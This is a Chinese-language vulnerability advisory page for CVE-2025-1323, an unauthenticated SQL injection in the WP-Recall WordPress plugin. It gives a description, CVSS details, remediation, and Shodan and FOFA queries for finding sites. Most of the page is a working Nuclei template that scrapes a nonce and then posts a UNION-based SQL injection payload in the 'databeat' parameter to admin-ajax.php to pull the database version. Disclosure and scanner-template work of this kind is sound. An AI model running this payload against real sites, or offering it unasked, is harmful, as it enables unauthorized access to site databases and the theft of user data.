CVE-2025-1323: WP-Recall – Plugin <= 16.26.10 - Unauthenticated SQL Injection

日期: 2025-08-01 | 影响软件: WP-Recall | POC: 已公开

漏洞描述

The WP-Recall – Registration, Profile, Commerce & More plugin for WordPress is vulnerable to SQL Injection via the 'databeat' parameter in all versions up to, and including, 16.26.10 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

PoC代码[已公开]

id: CVE-2025-1323

info:
  name: WP-Recall – Plugin <= 16.26.10 - Unauthenticated SQL Injection
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    The WP-Recall – Registration, Profile, Commerce & More plugin for WordPress is vulnerable to SQL Injection via the 'databeat' parameter in all versions up to, and including, 16.26.10 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
  remediation: Update to version 16.26.12, or a newer patched version
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-recall/wp-recall-registration-profile-commerce-more-162610-unauthenticated-sql-injection
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/ae5b4d81-c2f1-4d0d-b7b0-5556bf0451f5?source=cve
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2025-1323
    cwe-id: CWE-89
    epss-score: 0.50138
    epss-percentile: 0.97757
    cpe: cpe:2.3:a:plechevandrey:wp-recall:*:*:*:*:*:wordpress:*:*
  metadata:
    vendor: plechevandrey
    product: wp-recall
    framework: wordpress
    shodan-query: http.html:"/wp-content/plugins/wp-recall/"
    fofa-query: body=/wp-content/plugins/wp-recall/
    publicwww-query: /wp-content/plugins/wp-recall/
  tags: cve,cve2025,wp-recall,wordpress,wp-plugin,sqli,wp

variables:
  marker: "{{randstr}}"
  token: "{{base64('private:1:5')}}"

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        part: body
        internal: true
        name: nonce
        group: 1
        regex:
          - 'var Rcl = .*?"nonce":"([a-z0-9]+)"'

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        action=rcl_beat&ajax_nonce={{nonce}}&databeat=[{"beat_name":"rcl_chat_beat_core","action":"rcl_chat_get_new_messages","data":{"token":"{{token}}","last_activity":"xx' and 1=0 union select 1,2,concat(0x{{hex_encode(marker)}}3a,version()),4,5,6,7--+-"}}]

    extractors:
      - type: regex
        part: body
        internal: false
        name: version
        group: 1
        regex:
          - 'data-user_id=\\".*?:(.*?)\\">'

    matchers:
      - type: word
        part: body
        words:
          - '{{marker}}'
          - 'content'
          - '"beat_name":"rcl_chat_beat_core"'
        condition: and
# digest: 4a0a0047304502204683a66e5e4f25bed0826b1961dcd3cecf3ee418a96f1b6cd13b4e992c75fed6022100d6e6e83efdc299ee4485f1d37bb5e693be759b133b29a62ef60a787d34cfe55c:922c64590222798bb761d5b6d8e72950

相关漏洞推荐